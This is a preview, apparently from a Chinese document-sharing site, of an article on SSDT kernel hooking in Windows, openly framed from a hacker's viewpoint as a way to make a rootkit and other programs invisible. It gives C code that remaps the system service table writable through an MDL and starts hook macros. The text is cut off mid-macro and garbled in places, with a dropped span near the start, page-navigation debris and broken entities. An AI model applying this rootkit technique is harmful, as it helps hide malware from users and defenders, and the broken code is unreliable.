- 3
- 0
- 约 4页
- 2017-08-24 发布于广东
- 举报
建立内核级钩子控制操作系统实现程序隐身.doc
建立内核级钩子控制操作系统实现程序隐身~教育资源库
我们知道,应用程序总是离不开系统内核所提供的服务,比如它要使用内存的时候,只要跟操作系统申请就行了,而不用自己操心哪里有空闲的内存空间等问题,实际上,这些问题是由操作系统的内核来代劳的。站在黑客的角度讲,如果能够控制内核,实际上就是控制了内核之上的各种应用程序。本文将向您介绍如何建立内核级钩子来控制操作系统向上提供的各种低级功能。有了内核级钩子,我们不但能够控制、监视其他程序并过滤有关数据,还能用其实现Rootkit本身及其它程序的隐形。
本文首先回顾系统调用表和内存保护方面的知识,然后讲解如何实现内核钩子,最后对一些重要的内核函数进行了简要的说明。
一、系统调用表
系统调用表又称系统服务表或者服务描述符表,是DL,*PMDL;
#defineMDL_MAPPED_TO_SYSTEM_VA0x0001
#defineMDL_PAGES_LOCKED0x0002
#defineMDL_SOURCE_IS_NONPAGED_POOL0x0004
#defineMDL_ALLOCATED_FIXED_SIZE0x0008
#defineMDL_PARTIAL0x0010
#defineMDL_PARTIAL_HAS_BEEN_MAPPED0x0020
#defineMDL_IO_PAGE_READ0x0040
#defineMDL_DL_PARENT_MAPPED_SYSTEM_VA0x0100
#defineMDL_FREE_EXTRA_PTES0x0200
#defineMDL_IO_SPACE0x0800
#defineMDL_DL_MAPPING_CAN_FAIL0x2000
#defineMDL_ALLOCATED_MUST_SUCCEED0x4000
#defineMDL_MAPPING_FLAGS(MDL_MAPPED_TO_SYSTEM_VA|
MDL_PAGES_LOCKED|
MDL_SOURCE_IS_NONPAGED_POOL|
MDL_PARTIAL_HAS_BEEN_MAPPED|
MDL_PARENT_MAPPED_SYSTEM_VA|
MDL_SYSTEM_VA|
MDL_IO_SPACE)
内存描述符表(MDL)的作用是将虚拟内存映射成物理页。如果将系统调用表所在内存页的MDL的MDLFlags成员设为MDL_MAPPED_TO_SYSTEM_VA 并且该页面被锁定的话,那么就可以使用内核钩子技术了。以下代码将可以达此目的:
#pragmapack(1)
typedefstructServiceDescriptorEntry
{
unsignedint*ServiceTableBase;
unsignedint*ServiceCounterTableBase;
unsignedintNumberOfServices;
unsignedchar*ParamTableBase;
}ServiceDescriptorTableEntry_t,*PServiceDescriptorTableEntry_t;
#pragmapack()
__declspec(dllimport)ServiceDescriptorTableEntry_tKeServiceDescriptorTable;
PVOID*NeCallTable;
PMDLpMyMDL=MmCreateMdl(NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices*4);
MmBuildMdlForNonPagedPool(pMyMDL);
pMyMDL-gt;MdlFlags=pMyMDL-gt;MdlFlags|MDL_MAPPED_TO_SYSTEM_VA;
NeCallTable=MmMapLockedPages(pMyMDL,KernelMode);
好了,我们现在可以通过NeCallTable来
123下一页 友情提醒:,特别!新建系统调用表了。系统调用表如下图所示。
图1 系统调用表示意图
进行挂钩时,可以使用以下宏:
#defineHOOK_INDEX(function2hook)*(PULONG)((PUCHAR)function2hook+1)
#defineHOOK(functionName,nep;NeCallTable[HO
原创力文档

文档评论(0)